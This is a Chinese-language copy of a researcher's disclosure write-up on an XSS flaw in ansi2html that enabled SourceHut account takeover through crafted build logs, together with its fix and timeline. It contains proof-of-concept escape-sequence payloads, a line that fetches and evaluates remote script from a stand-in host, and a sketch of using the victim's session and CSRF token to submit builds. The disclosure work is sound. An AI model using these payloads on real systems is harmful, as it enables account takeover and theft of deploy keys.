通过构建日志接管SourceHut账户(ansi2html.py中的XSS)

Lobsters Hottest 新闻

摘要

研究人员在SourceHut使用的ansi2html库中发现了一个XSS漏洞,该漏洞可能允许通过构建日志接管账户,并描述了发现和修复过程。

<p><a href="https://lobste.rs/s/ky1cr0/sourcehut_account_takeover_via_build">评论</a></p>
查看原文
查看缓存全文

缓存时间: 2026/09/24 21:05

# 通过构建日志接管 SourceHut 账户 (ansi2html.py 中的 XSS) | CVE-2026-92973 来源:https://blog.arusekk.pl/posts/srht-account-takeover/ 欢迎来到我的第一篇关于高危漏洞的详细报告!我喜欢好的故事,所以让我先介绍一些背景。最近我有了个“绝妙”的想法(我知道,我知道,我应该停止产生这种想法),搭建一个会*付钱*给托管项目的人的 sr.ht 实例。如果你想尝试它,或者想在社交媒体上因为这事骂我,可以在时间轴部分找到它被无情推广的痕迹。不管怎样,说说故事吧。第一步是克隆一些 sr.ht 仓库的最小核心子集,然后开始动手改造。 ## 无 NLP 从今年起,我倾向于在漏洞研究报告中包含以下声明。随你怎么理解。 *本研究未使用任何自然语言处理(NLP)技术。所有错误均由本人造成。* ## 架构 SourceHut (https://sr.ht/~sircmpwn/sourcehut) 采用微服务架构构建,主要服务包括 meta.sr.ht,以及可能是 git.sr.ht 或 hub.sr.ht(旗舰实例将其托管在 sr.ht)。当然还有 builds.sr.ht,即 CI 系统。一个不太为人所知的是 mirror.sr.ht(正缓慢迁移至 mirror.srht.network),其中包含各种微服务的预构建包。我得说,我喜欢这种方案,因为它让任何与旗舰实例发行版版本完全匹配的机器都能轻松上手。如果你喜爱的项目目前推荐通过 `curl|sudo bash` 或“就在这个文件夹里启动 Claude”(原文如此!)来安装,请考虑让终端用户通过真正的软件包分发软件这个同样有效的选项来了解你自己。¹ (https://blog.arusekk.pl/posts/srht-account-takeover/#fn:1) ## 构建 Alpine 包 所以如果你碰巧使用不同的发行版,甚至是不同版本的 Alpine,你就得更多靠自己了。所以有了 `sr.ht-apkbuilds` 仓库,你可以“fork”它来使用你的签名密钥、你的 Alpine 版本和你的镜像。还有一个用于 Arch 的 `sr.ht-pkgbuilds`,但目前实际上已无人维护。² (https://blog.arusekk.pl/posts/srht-account-takeover/#fn:2) 这涉及使用 builds.sr.ht 来引导构建软件包。我试着查看构建日志的页面源代码,因为它总是不按我想要的方向滚动,这让我有点恼火。就在这时,我发现了这个: ``` /* ... */ .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } /* ... */ ``` 我决定仔细看看它是怎么实现的,也许还能修复它。听着,我喜欢 SourceHut。我看得出这里有不少计算和带宽被浪费了。我希望他们能发达,让其他人效仿,而这种不必要的浪费正在拖慢进程。³ (https://blog.arusekk.pl/posts/srht-account-takeover/#fn:3) 我研究了将 ANSI 转义码 (https://en.wikipedia.org/wiki/ANSI_escape_code) 转换为 HTML 的逻辑,并为此提交了一个问题 (https://github.com/pycontribs/ansi2html/issues/259)。当时该仓库已超过一年没有任何活动,所以我决定动手修复,因为当我不专注于某个特定项目时,我也喜欢收到好的补丁。这很快导致我提交了一个修复此特定问题的 PR (https://github.com/pycontribs/ansi2html/pull/260)。鉴于我参加 CTF(夺旗赛)的背景,我开始更深入地研究 ansi2html,寻找更多漏洞(特别是我自己正要托管它!)。除了解析颜色的转义序列,它还允许自动链接和 OSC 8 超链接 (https://en.wikipedia.org/wiki/ANSI_escape_code#Operating_System_Command_sequences)。由于代码结构还不是那么完善 (https://lexi-lambda.github.io/blog/2019/11/05/parse-don-t-validate/),在阅读了这份很棒的 XSS 速查表 (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)(现在永远在我的书签里了)之后,我能够构造出一个恶意输入字符串: ``` $ printf '\33]8;;https://example.com/"/autofocus/tabindex="1"/onfocus="alert`xss`\7Nothing to see here\33]8;;\7' | ansi2html [...] Nothing to see here [...] $ printf '\33]8;;javascript:alert`xss`\7Nothing to see here\33]8;;\7' | ansi2html [...] Nothing to see here [...] ``` 前者值得解释一下。不知道为什么,但你可以验证一下,它解析出的 DOM 树与以下内容相同: ``` Nothing to see here ``` 所以,如果你碰巧能让 `␛]8;;https://example.com/"/...␇` 出现在作业日志中——4 (https://blog.arusekk.pl/posts/srht-account-takeover/#fn:4) 你是可以做到的,要么甚至不需要账户,只需向一个启用了持续集成的公共邮件列表发送补丁,要么控制任何恰好被打印到日志中的远程资源——恭喜,你刚刚在 `https://builds.sr.ht/~someone-else/job/1234567` 创建了一个构建任务,它会在每个查看它的浏览器中执行你的载荷。你可以自己提交任务,但这需要在旗舰实例上有一个付费账户。而且目前那里没有匿名支付选项。 ## 武器化(请勿在家尝试) 实际的载荷可以从攻击者的网站下载,比如 `eval\(await \(await fetch\('https://example.com'\)\)\.text\(\)\)`,但这里推测一下它能做什么。构建日志页面已经包含了 CSRF 令牌。你可以通过 `document.querySelector('[name=_csrf_token]').value` 读取它,或者直接使用现有的表单(“重新提交构建”按钮的一部分),比如 `document.querySelector('[name=manifest]').value=\`something\`;document.forms[0].submit()`。一旦你让管理员查看它,你很可能就能授予自己管理员权限。更糟糕的影响是,你可以访问所有的部署密钥,而在 builds.sr.ht 上,有用于 sr.ht 本身的部署密钥(对于其他实例可能并非如此)。将这部分载荷作为练习留给好奇的读者。我怎么强调都不为过:请记住只在自己的基础设施上测试蠕虫。永远不要在生产环境上。即使那是你自己的生产环境。 ## 这里如何进行纵深防御? 通过限制内容安全策略(Content-Security-Policy)。我不是这方面的专家,但移除 'unsafe-inline' 将是一个好的第一步(这本身不是有用的建议,因为内联脚本目前甚至在构建日志页面本身中也被使用,用于滚动)。通过额外的净化(SourceHut 添加了它,但过于激进——现在没有颜色了!)。以及通过将 ansi2html 中的代码重构为某种有状态的转换器自动机之类的东西。我立即给 [~sircmpwn/[email protected]](mailto:~sircmpwn/[email protected]) 发邮件,解释了整个问题,并附上了一个至少能缓解最严重部分的修复方案。Drew(我可以叫你 Drew 吗?我想我们在 Source 中都是兄弟)最终为 builds.sr.ht 打上了补丁,改为自动清理 ansi2html 的输出。这也是个不错的选择。 ## 上游 然后我联系了上游(也许有点晚了?确切时间线在下方)。Ansi2html 是 Randall Munroe (https://is.gd/WVZvnI) 那部著名且现在已被反复剖析的漫画中推荐的项目之一。⁵ (https://blog.arusekk.pl/posts/srht-account-takeover/#fn:5) 它被置于 GitHub 的 pycontribs 组织下,该组织不祥地声明: > PyContribs 的主要目的是确保不同的 Python 相关项目得以维护。 我联系了过去5年左右贡献图中的两位顶尖人物,使用的是 git 历史中的电子邮件,以便在问题公开前(尽管 SourceHut 的公告已经使其公开)不将其公开。我认为是“主要”维护者(Sorin Sbarnea (https://github.com/ssbarnea))至今未回复(他可能在度假),但另一位(Sebastian Pipping (https://github.com/hartwork))回复了。而且信息是隐晦的,对我来说不寻常,“两周后再发邮件给我”。所以我耐心地等了两周,处理我的另一项新兴事业(让我试试,好吧?),然后发送了邮件。 ## 帮助上游 原来 Sebastian(我可以叫你 Sebastian 吗?)是个很酷的人,他发现由于仓库上的 ACL(访问控制列表)之类的问题需要我的帮助。我们最终让 ansi2html 从之前的暂停状态恢复了,更新了一些过时的脚本,并一起向 PyPI 发布了大约3或4个版本的 ansi2html。我试图提供帮助,但我的准博士论文(PhD-in-spe)有些事情在处理,所以出现了一些延迟。 ## 提交 CVE 先来一个热议观点:CVSS 评分是个谬论——它应该为每个产品单独制定,而不是为一个根本原因代码路径只设一个。CVSS 的目的毕竟是为下游用户提供有用的信息,以决定是否去打补丁。研究人员有动机将其设得尽可能高。而项目方则有动机淡化它。他们确实想修复它,但他们想避免相关的文书工作,以及保密传递的麻烦(我完全理解!)。问题是,并非所有软件生来平等,像 libcurl (https://daniel.haxx.se/blog/2025/01/23/cvss-is-dead-to-us/) 这样的库尤其如此。CVSS 4.0 至少比 CVSS 3.x 好一点。它现在区分了“易受攻击系统”和“后续系统”。在 XSS 漏洞的情况下,典型做法是说 Web 服务是“易受攻击系统”,浏览器是“后续系统”(这有点道理,因为漏洞在服务中,但它首先影响受害者的浏览器以再次攻击 Web 服务本身)。我最初提出的向量 (https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/AU:Y/R:I/V:C/RE:L/U:Red) 被 VulnCheck 修改了。不确定为什么,但也许可以改回来?或者也许不值得费心。让我知道你的想法。我还想把这篇博客文章添加到 CVE 数据库,但可能需要先查一下怎么做。 - AV:N - 攻击向量:网络 - AC:L - 攻击复杂度:低(无需猜测,无需绕过或同步攻击) - AT:N - 攻击要求:无(与需要特定配置相对) - PR:N - 所需权限:无(只需发送一封邮件?如果没有 lists.sr.ht,权限也可能是低) - UI:P - 用户交互:被动(受害者必须访问一个带有 JS 的网站——唯一的问题,容易解决) 易受攻击系统 (builds.sr.ht / 所有 sr.ht) - VC:H - 机密性影响:高(导致直接、严重的机密性损失——机密信息被泄露) - VI:H - 完整性影响:高(可以以受害者的身份提交恶意构建作业,并有权访问部署密钥) - VA:N - 可用性影响:无(无法使整个服务宕机,除非阻塞构建工作者也算) 后续系统(受害者浏览器) - SC:L - 机密性:低(对严格限定范围的机密信息的有限访问) - SI:L - 完整性:低(能够伪造严格限定范围的请求) - SA:N - 可用性:无(比直接访问造成的影响更大不了多少) 补充指标 - AU:Y - 可自动化:是(可蠕虫化——受害者可以立即攻击他人,扩大范围) - R:I - 恢复:不可恢复(用户无法删除构建作业,只能隐藏它们) - V:C - 价值密度:集中(单个实例托管着许多有价值的项目和有价值的部署密钥) - RE:L - 响应工作量:低(基本缓解:在代理层插入 CSP 头) - U:Amber - 紧急程度:琥珀色(中等紧急程度:对基础设施构成直接危险,但已存在多年) 虽然确切的影响可以且应该由实际用户来争论(毕竟,SourceHut 夸耀在*没有* javascript 的情况下也能正常工作),但我主张应为高危或严重级别,而不仅仅是中危,因为如果我是黑帽黑客,只要 Drew 开着 JavaScript 访问受影响的构建日志,我就能以他的名义提交一个有权访问 SourceHut 部署密钥的构建作业。虽然不确定如何将此转化为金钱或逃脱。孩子们,别这么做。没有任何兴奋感值得这么做。 ## 受影响版本 `ansi2html >= 1.7.0, < 1.9.4`,`builds.sr.ht >= 0.40.0, < 0.105.1` ## 入侵指标 检查你的原始构建日志中是否包含 `␛]8;;https://example.com/"/...␇` 或 `␛]8;;javascript:...␇`。在 Bash 中,前者大概是类似 `grep $'\\33]8;[^\\7\\33]*"'` 的命令。 ## 完整时间线(很高兴所有事情都有永久记录!) 我对这个时间线并不太自豪,但嘿,至少现在一切都修复了,并且没有(?)有人试图利用它的记录。我将包括官方的 Arch Linux 仓库和 sr.ht 的 Alpine Linux 仓库,因为这两个系统曾一度被推荐。 - 2019-03-11: ansi2html 被添加到 builds.sr.ht (https://git.sr.ht/~sircmpwn/builds.sr.ht/commit/ad7fc189ccba57256552f2e021d765c57ce010b0),然后添加到 sr.ht-apkbuilds (https://git.sr.ht/~sircmpwn/sr.ht-apkbuilds/commit/a8017ef5fec8c3fe33f335fc86d157738ede85b3) - 2021-09-03: 漏洞被引入到上游 ansi2html (https://github.com/pycontribs/ansi2html/commit/d5d95551ba3623686ac9ce3b08cf493f6e0789db) - 2022-02-08: 一个受影响的版本被打包用于 Alpine 并在旗舰实例上线 (https://git.sr.ht/~sircmpwn/sr.ht-apkbuilds/commit/82f7e5353d40e92a057295af09b68fdba27eb1cc) - 2022-07-10: 一个受影响的版本被打包用于 Arch Linux (https://gitlab.archlinux.org/archlinux/packaging/packages/python-ansi2html/-/commit/e5c34c539e24ea62ab778a840789897751d65ac5) - 2026-07-17: 我可能买了一些域名⁶ (https://blog.arusekk.pl/posts/srht-account-takeover/#fn:6) - 2026-07-31: 我开始研究 SourceHut - 2026-08-01: 我提交了问题 (https://github.com/pycontribs/ansi2html/issues/259) 和修复 TrueColor 问题的 PR (https://github.com/pycontribs/ansi2html/pull/260) 给 ansi2html 上游。我准备了一个初步补丁并发送给 [~sircmpwn/[email protected]](mailto:~sircmpwn/[email protected])。 - 2026-08-04: builds.sr.ht 代码中缓解了该漏洞 (https://git.sr.ht/~sircmpwn/builds.sr.ht/commit/d768f9edd4b527d3e184b138e1d53f2d3fab7677);我收到了 Drew DeVault 确认漏洞的邮件。Drew 给了我公开的赞扬 (https://lists.sr.ht/~sircmpwn/sr.ht-admins/%[email protected]%3E)(谢谢!我很感激!)。 - 2026-08-06: 向上游报告了漏洞,立即得到确认 - 2026-08-20: 跟进上游 - 2026-08-22: Sebastian 回复,我们商定了合作时间 - 2026-08-24: 在处理实际漏洞之前,试图一起优化 ansi2html 的 CI - 2026-08-29: 发布了 1.9.3 版本,未修复漏洞 - 2026-08-31: 我在帖子中暗示我正在开发一个能向项目所有者付费的软件锻造平台 (https://hub.copyleft.market/) - 2026-09-02: 推送了包含最终修复的 PR (https://github.com/pycontribs/ansi2html/pull/263) 并发布了 1.9.4,修复了漏洞 - 2026-09-05: Arch Linux 将 ansi2html 更新到修复版本 (https://gitlab.archlinux.org/archlinux/packaging/packages/python-ansi2html/-/commit/775cf971799e445bc07ae133b1e2b7d312ba71ed) - 2026-09-xx: 生活继续,我做了更多的工作来维持生计 - 2026-09-23: 这篇博客文章(实际上是 -09-24,因为现在已经过了午夜。唉。) - 2077-??-??: 获利...? 注意,即使仔细审计 ansi2html 也不会拯救 SourceHut,除非每次升级都重新进行。builds.sr.ht 脆弱了(几乎)整整 4.5 年。 ## 感谢上帝让黑帽诱惑远离我

相似文章

黑客攻击 OpenAI

Reddit r/ArtificialInteligence

安全研究人员发现并披露了一系列漏洞,这些漏洞使得他们能够入侵 OpenAI 员工的账户,并通过一个涉及 libheif 和单点登录配置错误的攻击链访问内部代码仓库。

全面披露:通过VSCode漏洞一键窃取GitHub令牌

Lobsters Hottest

一名安全研究人员披露了VSCode webview中的一个严重漏洞,攻击者可通过诱骗用户点击链接来窃取具有完全访问权限的GitHub OAuth令牌。该漏洞影响github.dev网页编辑器。

我的Homelab被入侵 - 事后剖析

Lobsters Hottest

一位家庭实验室所有者详细描述了他们的Forgejo实例如何通过CVE-2026-60004(Gitea中的一个RCE漏洞)被入侵,并分享了事后剖析,包括所犯错误和漏洞利用分析。